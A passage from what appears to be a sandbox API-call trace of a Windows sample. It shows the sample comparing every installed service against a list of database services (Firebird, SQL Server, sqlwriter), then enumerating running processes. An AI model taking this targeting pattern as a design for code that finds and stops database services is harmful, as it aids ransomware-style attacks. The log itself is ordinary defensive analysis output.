lpString2="Dnscache") returned 1 [0168.420] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0168.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0168.420] lstrlenW (lpString="DPS") returned 3 [0168.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0168.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0168.420] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0168.420] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0168.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0168.420] lstrlenW (lpString="DusmSvc") returned 7 [0168.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0168.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0168.420] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0168.420] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0168.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0168.420] lstrlenW (lpString="EventLog") returned 8 [0168.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0168.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0168.420] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0168.420] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0168.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0168.421] lstrlenW (lpString="EventSystem") returned 11 [0168.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0168.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0168.421] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0168.421] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0168.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0168.421] lstrlenW (lpString="FontCache") returned 9 [0168.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0168.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0168.421] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0168.421] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0168.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0168.421] lstrlenW (lpString="gpsvc") returned 5 [0168.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0168.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0168.421] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0168.421] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0168.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0168.421] lstrlenW (lpString="iphlpsvc") returned 8 [0168.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0168.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0168.421] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0168.421] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0168.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0168.421] lstrlenW (lpString="KeyIso") returned 6 [0168.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0168.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0168.421] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0168.422] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0168.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0168.422] lstrlenW (lpString="LanmanServer") returned 12 [0168.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0168.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0168.422] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0168.422] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0168.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0168.422] lstrlenW (lpString="LanmanWorkstation") returned 17 [0168.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0168.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0168.422] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0168.422] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0168.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0168.422] lstrlenW (lpString="lfsvc") returned 5 [0168.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0168.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0168.422] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0168.422] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0168.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0168.422] lstrlenW (lpString="lmhosts") returned 7 [0168.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0168.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0168.422] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0168.422] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0168.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0168.422] lstrlenW (lpString="LSM") returned 3 [0168.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0168.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0168.423] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0168.423] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0168.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0168.423] lstrlenW (lpString="MpsSvc") returned 6 [0168.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0168.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0168.423] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0168.423] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0168.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0168.423] lstrlenW (lpString="NcbService") returned 10 [0168.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0168.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0168.423] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0168.423] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0168.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0168.423] lstrlenW (lpString="netprofm") returned 8 [0168.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0168.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0168.423] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0168.423] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0168.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0168.423] lstrlenW (lpString="NgcSvc") returned 6 [0168.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0168.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0168.423] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0168.423] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0168.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0168.424] lstrlenW (lpString="NlaSvc") returned 6 [0168.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0168.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0168.424] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0168.424] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0168.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0168.424] lstrlenW (lpString="nsi") returned 3 [0168.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0168.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0168.424] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0168.424] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0168.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0168.424] lstrlenW (lpString="PcaSvc") returned 6 [0168.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0168.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0168.424] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0168.424] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0168.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0168.424] lstrlenW (lpString="PlugPlay") returned 8 [0168.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0168.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0168.424] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0168.424] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0168.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0168.424] lstrlenW (lpString="Power") returned 5 [0168.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0168.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0168.424] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0168.424] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0168.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0168.425] lstrlenW (lpString="ProfSvc") returned 7 [0168.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0168.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0168.425] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0168.425] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0168.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0168.425] lstrlenW (lpString="RpcEptMapper") returned 12 [0168.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0168.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0168.425] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0168.425] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0168.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0168.425] lstrlenW (lpString="RpcSs") returned 5 [0168.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0168.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0168.425] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0168.425] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0168.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0168.425] lstrlenW (lpString="SamSs") returned 5 [0168.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0168.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0168.425] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0168.425] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0168.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0168.425] lstrlenW (lpString="Schedule") returned 8 [0168.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0168.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0168.426] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0168.426] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0168.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0168.426] lstrlenW (lpString="SecurityHealthService") returned 21 [0168.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0168.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0168.426] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0168.426] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0168.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0168.426] lstrlenW (lpString="SENS") returned 4 [0168.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0168.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0168.426] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0168.426] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0168.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0168.426] lstrlenW (lpString="ShellHWDetection") returned 16 [0168.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0168.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0168.426] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0168.426] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0168.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0168.426] lstrlenW (lpString="Spooler") returned 7 [0168.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0168.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0168.426] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0168.426] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0168.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0168.426] lstrlenW (lpString="StateRepository") returned 15 [0168.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0168.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0168.427] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0168.427] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0168.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0168.427] lstrlenW (lpString="SysMain") returned 7 [0168.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0168.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0168.427] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0168.427] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0168.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0168.427] lstrlenW (lpString="SystemEventsBroker") returned 18 [0168.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0168.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0168.427] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0168.427] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0168.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0168.427] lstrlenW (lpString="Themes") returned 6 [0168.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0168.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0168.427] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0168.427] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0168.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0168.427] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0168.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0168.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0168.427] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0168.427] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0168.427] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4181fb8 | out: hHeap=0x420000) returned 1 [0168.427] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x53c [0168.455] Process32FirstW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0168.456] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0168.456] lstrlenW (lpString="System") returned 6 [0168.456] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0168.457] lstrlenW (lpString="smss.exe") returned 8 [0168.457] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0168.457] lstrlenW (lpString="csrss.exe") returned 9 [0168.457] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0168.458] lstrlenW (lpString="wininit.exe") returned 11 [0168.458] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0168.458] lstrlenW (lpString="csrss.exe") returned 9 [0168.459] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0168.459] lstrlenW (lpString="winlogon.exe") returned 12 [0168.460] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0168.460] lstrlenW (lpString="services.exe") returned 12 [0168.460] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0168.461] lstrlenW (lpString="lsass.exe") returned 9 [0168.461] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0168.461] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0168.461] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0168.462] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0168.462] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.462] lstrlenW (lpString="svchost.exe") returned 11 [0168.462] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.463] lstrlenW (lpString="svchost.exe") returned 11 [0168.463] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0168.464] lstrlenW (lpString="dwm.exe") returned 7 [0168.464] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.464] lstrlenW (lpString="svchost.exe") returned 11 [0168.464] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.465] lstrlenW (lpString="svchost.exe") returned 11 [0168.465] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.465] lstrlenW (lpString="svchost.exe") returned 11 [0168.465] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.466] lstrlenW (lpString="svchost.exe") returned 11 [0168.466] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.466] lstrlenW (lpString="svchost.exe") returned 11 [0168.467] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.467] lstrlenW (lpString="svchost.exe") returned 11 [0168.467] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.468] lstrlenW (lpString="svchost.exe") returned 11 [0168.468] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.468] lstrlenW (lpString="svchost.exe") returned 11 [0168.468] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.469] lstrlenW (lpString="svchost.exe") returned 11 [0168.469] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.469] lstrlenW (lpString="svchost.exe") returned 11 [0168.469] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0168.470] lstrlenW (lpString="spoolsv.exe") returned 11 [0168.470] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, 